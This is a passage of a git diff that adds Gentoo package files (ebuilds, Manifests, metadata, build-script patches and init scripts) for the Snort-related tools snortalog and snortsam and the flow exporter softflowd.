+ sed -i -e 's|^# config set_uid:|config set_uid: snort|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the default log dir
+ sed -i -e 's|^# config logdir:|config logdir: /var/log/snort/|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+
+ # Set the correct so_rule location in the config
+ sed -i -e 's|SO_RULE_PATH ../so_rules|SO_RULE_PATH /etc/snort/so_rules|g' \
+ "${D}etc/snort/snort.conf.distrib" || die
+}
+
+pkg_postinst() {
+
+ einfo "There have been a number of improvements and new features"
+ einfo "added to ${P}. Please review the RELEASE.NOTES and"
+ einfo "ChangLog located in /usr/share/doc/${PF}."
+ einfo
+ elog "The Sourcefire Vulnerability Research Team (VRT) recommends that"
+ elog "users migrate their snort.conf customizations to the latest config"
+ elog "file released by the VRT. You can find the latest version of the"
+ elog "Snort config file in /etc/snort/snort.conf.distrib."
+ elog
+ elog "!! It is important that you migrate to this new snort.conf file !!"
+ elog
+ elog "This version of the ebuild includes an updated init.d file and"
+ elog "conf.d file that rely on options found in the latest Snort"
+ elog "config file provided by the VRT."
+
+ if use debug; then
+ elog "You have the 'debug' USE flag enabled. If this has been done to"
+ elog "troubleshoot an issue by producing a core dump or a back trace,"
+ elog "then you need to also ensure the FEATURES variable in make.conf"
+ elog "contains the 'nostrip' option."
+ fi
+}
diff --git a/net-analyzer/snortalog/Manifest b/net-analyzer/snortalog/Manifest
new file mode 100644
index 000000000000..f2e1c3945ce6
--- /dev/null
+++ b/net-analyzer/snortalog/Manifest
@@ -0,0 +1 @@
+DIST snortalog_v2.4.3.tar 1324032 SHA256 aa8c47dd5c52277bedb3de310717dfe9f49ca19ededbdc81fbf130b1273ca40f SHA512 b4b8558865ae4d1ef932114f2a2fb5af7fb069f1b587955d9d489a31635e890fb0ed36ebcde19322ab0c0cae49734da08602e283bd731c769de527abf7d74d06 WHIRLPOOL e8fc7d17fa148016218b46add071548bb93a24db4dd26af3b069b9f8d55bbafdcd28a4eb2b68f86346f881b7171f5df81bfa235168496052c34776f6b005dfb3
diff --git a/net-analyzer/snortalog/metadata.xml b/net-analyzer/snortalog/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/snortalog/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/snortalog/snortalog-2.4.3-r1.ebuild b/net-analyzer/snortalog/snortalog-2.4.3-r1.ebuild
new file mode 100644
index 000000000000..3c7f51f357ad
--- /dev/null
+++ b/net-analyzer/snortalog/snortalog-2.4.3-r1.ebuild
@@ -0,0 +1,57 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils
+
+MY_P="${PN}_v${PV}"
+
+DESCRIPTION="a powerful perl script that summarizes snort logs"
+HOMEPAGE="http://jeremy.chartier.free.fr/snortalog/"
+SRC_URI="${HOMEPAGE}downloads/${PN}/${MY_P}.tar"
+LICENSE="GPL-2"
+SLOT="0"
+
+KEYWORDS="~amd64 ~arm ~ppc ~sparc ~x86"
+IUSE="tk"
+
+RDEPEND="
+ dev-lang/perl[ithreads]
+ dev-perl/HTML-HTMLDoc
+ virtual/perl-DB_File
+ virtual/perl-Getopt-Long
+ tk? ( dev-perl/perl-tk dev-perl/GDGraph )
+"
+
+S=${WORKDIR}
+
+src_prepare() {
+ edos2unix $(find conf/ modules/ -type f) ${PN}.* CHANGES
+
+ # fix paths, erroneous can access message
+ sed -i \
+ -e "s:\(modules/\):/usr/lib/snortalog/${PV}/\1:g" \
+ -e 's:\($domains_file = "\)conf/\(domains\)\(".*\):\1/etc/snortalog/\2\3:' \
+ -e 's:\($rules_file = "\)conf/\(rules\)\(".*\):\1/etc/snortalog/\2\3:' \
+ -e 's:\($picts_dir ="\)picts\(".*\):\1/etc/snortalog/picts\2:' \
+ -e 's:\($hw_file = "\)conf/\(hw\)\(".*\):\1/etc/snortalog/\2\3:' \
+ -e 's:\($lang_file ="\)conf/\(lang\)\(".*\):\1/etc/snortalog/\2\3:' \
+ -e 's:Can access:Cannot access:' \
+ snortalog.pl || die
+}
+
+src_install () {
+ dobin snortalog.pl
+
+ insinto /etc/snortalog
+ doins conf/{domains,hw,lang,rules}
+
+ insinto /etc/snortalog/picts
+ doins picts/*
+
+ insinto /usr/lib/snortalog/${PV}/modules
+ doins -r modules/*
+
+ dodoc CHANGES doc/snortalog_v2.2.1.pdf
+}
diff --git a/net-analyzer/snortsam/Manifest b/net-analyzer/snortsam/Manifest
new file mode 100644
index 000000000000..0e8a6ddbe2c3
--- /dev/null
+++ b/net-analyzer/snortsam/Manifest
@@ -0,0 +1,3 @@
+DIST snortsam-2.50-ciscoacl.diff.bz2 7295 SHA256 a4f39789e9f10b95e6db1bbce5f9d26f7393161311f5c955a4b8380186a2cb6b SHA512 c8b19b19721f75fb00a269923e4191a26853749658ebbec9d4c74dcbaaacb8db30a6a0bd33068a364aa95375db958b6fd45ad498abdc97029e04b7e140cb2523 WHIRLPOOL 43641d5cfc415ddc0e674a6c812ae1a5719296f8442da9cd6a2cf2a098d0fac20f790f19108442e4a171f2a30d97a7e383d827cbd48e0d07910111c6bcaa0038
+DIST snortsam-src-2.50.tar.gz 1073391 SHA256 3c77967f9ef581310de02443512fc7cd3f145249c9be765b1bcf679d408dc441 SHA512 cc4509c0d02666d6697a565e95013639a1f0c042ef948d8def92b749f249f647247ef7649ae23a2860ce58f08e310c08edeabc93301f812a98845f74ba5c266e WHIRLPOOL fbe0912028b8dc29a2c5701892316aca02b7d088bb0f1af67d1c252a640d7cd495fb17c36464b2a429b10bb489e0a1fb1ad79ff8da53267f7d41da3335a59b4c
+DIST snortsam-src-2.70.tar.gz 1971624 SHA256 442040a7281a641008f6410b7f6528d709f17d5041fd3752011075f8a38d19bc SHA512 e0b6d53dfc0963e5a0012e25c1cd15f76263cc0d0158f6a50eab3876f1ae40c47eeafb7309113d27f1ca92d5491a19e32748c3bf51754be9320346ebbf26e5b1 WHIRLPOOL 2ccb75cbd252b2ea293e0c125c1885ddad962b121eb095e38d85ff02d8a39803c9b0c4079b4e607e95b5c6bcaef388fed4106247714182ce01bb0e44e86c91c1
diff --git a/net-analyzer/snortsam/files/snortsam-2.70-gentoo.patch b/net-analyzer/snortsam/files/snortsam-2.70-gentoo.patch
new file mode 100644
index 000000000000..f2d8fd330d33
--- /dev/null
+++ b/net-analyzer/snortsam/files/snortsam-2.70-gentoo.patch
@@ -0,0 +1,140 @@
+ makesnortsam.sh | 66 +++++++++++++++++++++------------------------------------
+ 1 file changed, 24 insertions(+), 42 deletions(-)
+
+diff --git a/makesnortsam.sh b/makesnortsam.sh
+index 64c6eb6..37f66c9 100644
+--- a/makesnortsam.sh
++++ b/makesnortsam.sh
+@@ -36,8 +36,7 @@ SSP_OBSD_SRC="ssp_pf.c ssp_pf2.c"
+ SSP_BSD_SRC="ssp_ipf.c ssp_ipfw2.c ssp_pf2.c"
+ SSP_SUNOS_SRC="ssp_ipf.c"
+
+-CFLAGS="-O2 -D${systype}"
+-LDFLAGS=
++CFLAGS=" ${CFLAGS} -D${systype}"
+
+ # OS specific flags
+ LINUX_CFLAGS=
+@@ -72,23 +71,23 @@ case "$1" in
+
+ case "${systype}" in
+ Linux*)
+- gcc ${CFLAGS} ${LINUX_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
+- ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} -o ${SNORTSAM}
++ ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} \
++ ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} -o ${SNORTSAM} ${LINUX_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS}
+ ;;
+
+ OpenBSD*)
+- #gcc ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LIBS} /usr/lib/libnsl.a -o ${SNORTSAM}
+- gcc ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
++ #${CC} ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LIBS} /usr/lib/libnsl.a -o ${SNORTSAM}
++ ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
+ ${SSP_GENERIC_SRC} ${SSP_OBSD_SRC} -o ${SNORTSAM}
+ ;;
+
+ *BSD*)
+- gcc ${CFLAGS} ${BSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
++ ${CC} ${CFLAGS} ${BSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
+ ${SSP_GENERIC_SRC} ${SSP_BSD_SRC} -o ${SNORTSAM}
+ ;;
+
+ SunOS*)
+- gcc ${CFLAGS} ${SUNOS_CFLAGS} ${OPSEC_SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${OPSEC_SUNOS_LDFLAGS} \
++ ${CC} ${CFLAGS} ${SUNOS_CFLAGS} ${OPSEC_SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${OPSEC_SUNOS_LDFLAGS} \
+ ${SSP_GENERIC_SRC} ${SSP_SUNOS_SRC} -o ${SNORTSAM}
+ ;;
+ esac
+@@ -104,23 +103,23 @@ case "$1" in
+
+ case "${systype}" in
+ Linux*)
+- gcc ${CFLAGS} ${LINUX_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
++ ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
+ ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} -o ${SNORTSAM}
+ ;;
+
+ OpenBSD*)
+- #gcc ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LIBS} /usr/lib/libnsl.a -o ${SNORTSAM}
+- gcc ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
++ #${CC} ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LIBS} /usr/lib/libnsl.a -o ${SNORTSAM}
++ ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
+ ${SSP_GENERIC_SRC} ${SSP_OBSD_SRC} -o ${SNORTSAM}
+ ;;
+
+ *BSD*)
+- gcc ${CFLAGS} ${BSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
++ ${CC} ${CFLAGS} ${BSD_CFLAGS} ${OPSEC_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${OPSEC_LDFLAGS} ${OPSEC_LIBS} \
+ ${SSP_GENERIC_SRC} ${SSP_BSD_SRC} -o ${SNORTSAM}
+ ;;
+
+ SunOS*)
+- gcc ${CFLAGS} ${SUNOS_CFLAGS} ${OPSEC_SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${OPSEC_SUNOS_LDFLAGS} \
++ ${CC} ${CFLAGS} ${SUNOS_CFLAGS} ${OPSEC_SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${OPSEC_SUNOS_LDFLAGS} \
+ ${SSP_GENERIC_SRC} ${SSP_SUNOS_SRC} -o ${SNORTSAM}
+ ;;
+ esac
+@@ -152,10 +151,10 @@ case "$1" in
+ rm -f ${SAMTOOL}-debug
+
+ case "${systype}" in
+- Linux*) gcc ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
+- OpenBSD*) gcc ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
+- *BSD*) gcc ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
+- SunOS) gcc ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
++ Linux*) echo ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${LINUX_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
++ OpenBSD*) echo ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${OBSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
++ *BSD*) echo ${CC} ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${BSD_CFLAGS} ${BSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
++ SunOS) echo ${CC} ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${SUNOS_CFLAGS} $${SUNOS_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
+ esac
+
+ echo "-------------------------------------------------------------------------------"
+@@ -167,10 +166,10 @@ case "$1" in
+ SAMTOOL="${SAMTOOL}-debug"
+
+ case "${systype}" in
+- Linux*) gcc ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
+- OpenBSD*) gcc ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
+- *BSD*) gcc ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
+- SunOS) gcc ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ;;
++ Linux*) echo ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ${LINUX_LDFLAGS}; ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${LINUX_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ${LINUX_LDFLAGS}; [ $? = 0 ] || exit 1;;
++ OpenBSD*) echo ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${OBSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
++ *BSD*) echo ${CC} ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${BSD_CFLAGS} ${BSD_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
++ SunOS) echo ${CC} ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; ${CC} ${CFLAGS} ${SUNOS_CFLAGS} ${SUNOS_LDFLAGS} ${SAMTOOL_SRC} -o ${SAMTOOL} ; [ $? = 0 ] || exit 1;;
+ esac
+ cd ..
+ ;;
+@@ -186,29 +185,12 @@ case "$1" in
+ rm -f ${SNORTSAM}-debug
+
+ case "${systype}" in
+- Linux*) gcc ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} -o ${SNORTSAM} ;;
+- OpenBSD*) gcc ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_OBSD_SRC} -o ${SNORTSAM} ;;
+- *BSD*) gcc ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_BSD_SRC} -o ${SNORTSAM} ;;
+- SunOS*) gcc ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_SUNOS_SRC} -o ${SNORTSAM} ;;
++ Linux*) echo ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} ${LDFLAGS} -o ${SNORTSAM} ${LINUX_LDFLAGS}; ${CC} ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} -o ${SNORTSAM} ${LINUX_LDFLAGS}; [ $? = 0 ] || exit 1;;
++ OpenBSD*) echo ${CC} ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_OBSD_SRC} ${LDFLAGS} -o ${SNORTSAM} ; ${CC} ${CFLAGS} ${LDFLAGS} ${OBSD_CFLAGS} ${OBSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_OBSD_SRC} -o ${SNORTSAM} ; [ $? = 0 ] || exit 1;;
++ *BSD*) echo ${CC} ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_BSD_SRC} -o ${SNORTSAM} ; ${CC} ${CFLAGS} ${LDFLAGS} ${BSD_CFLAGS} ${BSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_BSD_SRC} -o ${SNORTSAM} ; [ $? = 0 ] || exit 1;;
++ SunOS*) echo ${CC} ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_SUNOS_SRC}-o ${SNORTSAM} ; ${CC} ${CFLAGS} ${LDFLAGS} ${SUNOS_CFLAGS} ${SUNOS_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_SUNOS_SRC} -o ${SNORTSAM} ; [ $? = 0 ] || exit 1;;
+ esac
+
+-
+- echo "-------------------------------------------------------------------------------"
+- echo "Building SnortSam (debug)"
+- echo "-------------------------------------------------------------------------------"
+-
+- rm -f *.o
+- CFLAGS="${CFLAGS} -DFWSAMDEBUG"
+- SNORTSAM="${SNORTSAM}-debug"
+-
+- case "${systype}" in
+- Linux*) gcc ${CFLAGS} ${LINUX_CFLAGS} ${LDFLAGS} ${LINUX_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_LINUX_SRC} -o ${SNORTSAM} ;;
+- OpenBSD*) gcc ${CFLAGS} ${OBSD_CFLAGS} ${LDFLAGS} ${OBSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_OBSD_SRC} -o ${SNORTSAM} ;;
+- *BSD*) gcc ${CFLAGS} ${BSD_CFLAGS} ${LDFLAGS} ${BSD_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_BSD_SRC} -o ${SNORTSAM} ;;
+- SunOS*) gcc ${CFLAGS} ${SUNOS_CFLAGS} ${LDFLAGS} ${SUNOS_LDFLAGS} ${SSP_GENERIC_SRC} ${SSP_SUNOS_SRC} -o ${SNORTSAM} ;;
+-
+- esac
+- cd ..
+ ;;
+ esac
+
diff --git a/net-analyzer/snortsam/metadata.xml b/net-analyzer/snortsam/metadata.xml
new file mode 100644
index 000000000000..43ff75467369
--- /dev/null
+++ b/net-analyzer/snortsam/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/snortsam/snortsam-2.50-r1.ebuild b/net-analyzer/snortsam/snortsam-2.50-r1.ebuild
new file mode 100644
index 000000000000..b9a5c9050434
--- /dev/null
+++ b/net-analyzer/snortsam/snortsam-2.50-r1.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils toolchain-funcs
+
+MY_P="${PN}-src-${PV}"
+DESCRIPTION="Snort plugin that allows automated blocking of IP addresses on several firewalls"
+HOMEPAGE="http://www.snortsam.net/"
+SRC_URI="http://www.snortsam.net/files/snortsam/${MY_P}.tar.gz
+ mirror://gentoo/${PN}-2.50-ciscoacl.diff.bz2"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~alpha amd64 ppc ppc64 sparc x86"
+IUSE=""
+
+S=${WORKDIR}/${PN}
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ # bug 155955, ciscoacl segfaults with gcc-4.1.1
+ epatch "${DISTDIR}"/${PN}-2.50-ciscoacl.diff.bz2
+ sed -i -e "s:sbin/functions.sh:etc/init.d/functions.sh:" \
+ -e "s: -O2 : ${CFLAGS} :" \
+ -e "s:gcc :$(tc-getCC) :" \
+ -e "s:\( -o ../snortsam\): ${LDFLAGS}\1:" makesnortsam.sh || die "sed failed"
+ ecvs_clean
+}
+
+src_compile() {
+ sh makesnortsam.sh || die "makesnortsam.sh failed"
+}
+
+src_install() {
+ dobin snortsam || die "dobin failed"
+ find "${S}" -depth -type f -name "*.asc" -exec rm -f {} \;
+ dodoc docs/* conf/*
+}
+
+pkg_postinst() {
+ elog
+ elog "To use snortsam with snort, you'll have to compile snort with USE=snortsam."
+ elog "Read the INSTALL file to configure snort for snortsam, and configure"
+ elog "snortsam for your particular firewall."
+ elog
+}
diff --git a/net-analyzer/snortsam/snortsam-2.70.ebuild b/net-analyzer/snortsam/snortsam-2.70.ebuild
new file mode 100644
index 000000000000..9e76045835b6
--- /dev/null
+++ b/net-analyzer/snortsam/snortsam-2.70.ebuild
@@ -0,0 +1,46 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="Snort plugin that allows automated blocking of IP addresses on several firewalls"
+HOMEPAGE="http://www.snortsam.net/"
+SRC_URI="${HOMEPAGE}files/snortsam/${PN}-src-${PV}.tar.gz"
+
+LICENSE="BSD-2"
+SLOT="0"
+KEYWORDS="~alpha amd64 ppc ppc64 sparc x86"
+IUSE="debug"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gentoo.patch
+ ecvs_clean
+}
+
+src_configure() {
+ use debug && append-cflags -DFWSAMDEBUG
+ tc-export CC
+}
+
+src_compile() {
+ sh makesnortsam.sh || die
+}
+
+src_install() {
+ dobin snortsam
+ find "${S}" -depth -type f -name "*.asc" -exec rm -f {} \;
+ dodoc docs/* conf/*
+}
+
+pkg_postinst() {
+ echo
+ elog "To use snortsam with snort, you'll have to compile snort with USE=snortsam."
+ elog "Read the INSTALL file to configure snort for snortsam, and configure"
+ elog "snortsam for your particular firewall."
+ echo
+}
diff --git a/net-analyzer/softflowd/Manifest b/net-analyzer/softflowd/Manifest
new file mode 100644
index 000000000000..78235c820add
--- /dev/null
+++ b/net-analyzer/softflowd/Manifest
@@ -0,0 +1 @@
+DIST softflowd-0.9.9.tar.gz 91939 SHA256 2313f2c50ea9b3f2db3524e38ec7cd71f9a6e885ac2e3b55ab037bccf8173612 SHA512 4d579c2a087c0f3cd4d2020bcfbddf9dab73254e40678b3509c93bec212bf8b5692f76bfb4e766577e431ff508f0bce0a2cf326184f192e3c5dc8ddf38514dbd WHIRLPOOL c16dd9596ececffac3d698e56c244359a6db4b9cc8f721bc51fd2b900316ed493313ba971d9e1efd8c874acbbfd47f48cf099c63c750b282a1cd3af39bf4e690
diff --git a/net-analyzer/softflowd/files/softflowd-0.9.9-_GNU_SOURCE.patch b/net-analyzer/softflowd/files/softflowd-0.9.9-_GNU_SOURCE.patch
new file mode 100644
index 000000000000..cb4844803e00
--- /dev/null
+++ b/net-analyzer/softflowd/files/softflowd-0.9.9-_GNU_SOURCE.patch
@@ -0,0 +1,13 @@
+setresuid and setresgid need _GNU_SOURCE which clashes with _BSD_SOURCE
+
+--- a/configure.ac
++++ b/configure.ac
+@@ -87,7 +87,7 @@
+ AC_SEARCH_LIBS(socket, socket)
+ AC_CHECK_LIB(pcap, pcap_open_live)
+
+-AC_CHECK_FUNCS(closefrom daemon setresuid setreuid setresgid setgid strlcpy strlcat)
++AC_CHECK_FUNCS(closefrom daemon setreuid setgid strlcpy strlcat)
+
+ AC_CHECK_TYPES([u_int64_t, int64_t, uint64_t, u_int32_t, int32_t, uint32_t])
+ AC_CHECK_TYPES([u_int16_t, int16_t, uint16_t, u_int8_t, int8_t, uint8_t])
diff --git a/net-analyzer/softflowd/files/softflowd-0.9.9-no-strip.patch b/net-analyzer/softflowd/files/softflowd-0.9.9-no-strip.patch
new file mode 100644
index 000000000000..c48603a7f491
--- /dev/null
+++ b/net-analyzer/softflowd/files/softflowd-0.9.9-no-strip.patch
@@ -0,0 +1,12 @@
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -52,7 +52,7 @@
+ $(srcdir)/mkinstalldirs $(DESTDIR)$(sbindir)
+ [ -d $(DESTDIR)$(mandir)/man8 ] || \
+ $(srcdir)/mkinstalldirs $(DESTDIR)$(mandir)/man8
+- $(INSTALL) -m 0755 -s softflowd $(DESTDIR)$(sbindir)/softflowd
+- $(INSTALL) -m 0755 -s softflowctl $(DESTDIR)$(sbindir)/softflowctl
++ $(INSTALL) -m 0755 softflowd $(DESTDIR)$(sbindir)/softflowd
++ $(INSTALL) -m 0755 softflowctl $(DESTDIR)$(sbindir)/softflowctl
+ $(INSTALL) -m 0644 softflowd.8 $(DESTDIR)$(mandir)/man8/softflowd.8
+ $(INSTALL) -m 0644 softflowctl.8 $(DESTDIR)$(mandir)/man8/softflowctl.8
diff --git a/net-analyzer/softflowd/files/softflowd.confd b/net-analyzer/softflowd/files/softflowd.confd
new file mode 100644
index 000000000000..dc1a36c874cd
--- /dev/null
+++ b/net-analyzer/softflowd/files/softflowd.confd
@@ -0,0 +1,9 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# Copy conf file to softflowd.interface
+
+# SOFTFLOWD_COLLECTOR=host:port
+# SOFTFLOWD_TIMEOUTS="maxlife=600"
+# SOFTFLOWD_MAXFLOWS=17000
+# SOFTFLOWD_EXTRA=
+# SOFTFLOWD_INTERFACE_IDX=
diff --git a/net-analyzer/softflowd/files/softflowd.initd b/net-analyzer/softflowd/files/softflowd.initd
new file mode 100644
index 000000000000..b29d3eaaf668
--- /dev/null
+++ b/net-analyzer/softflowd/files/softflowd.initd
@@ -0,0 +1,54 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+depend() {
+ need net
+}
+
+softflowd_checkconfig() {
+ SOFTFLOWD_INTERFACE=${SVCNAME#*.}
+ if [ ${SOFTFLOWD_INTERFACE} = ${SVCNAME} ]; then
+ eerror "You have to create an init script for each interface:"
+ eerror "ln -s softflowd /etc/init.d/softflowd.eth0"
+ return 1
+ fi
+
+ if [ -z "${SOFTFLOWD_COLLECTOR}" ]; then
+ eerror "Specify the host and port that the accounting datagrams are to be"
+ eerror "sent to in /etc/conf.d/${SVCNAME}."
+ eerror "Example: SOFTFLOWD_COLLECTOR=collector.example.com:9995"
+ return 1
+ fi
+ SOFTFLOWD_PIDFILE="/var/run/softflowd.${SOFTFLOWD_INTERFACE}.pid"
+ SOFTFLOWD_CTLFILE="/var/run/softflowd.${SOFTFLOWD_INTERFACE}.ctl"
+}
+
+
+start() {
+ softflowd_checkconfig || return 1
+
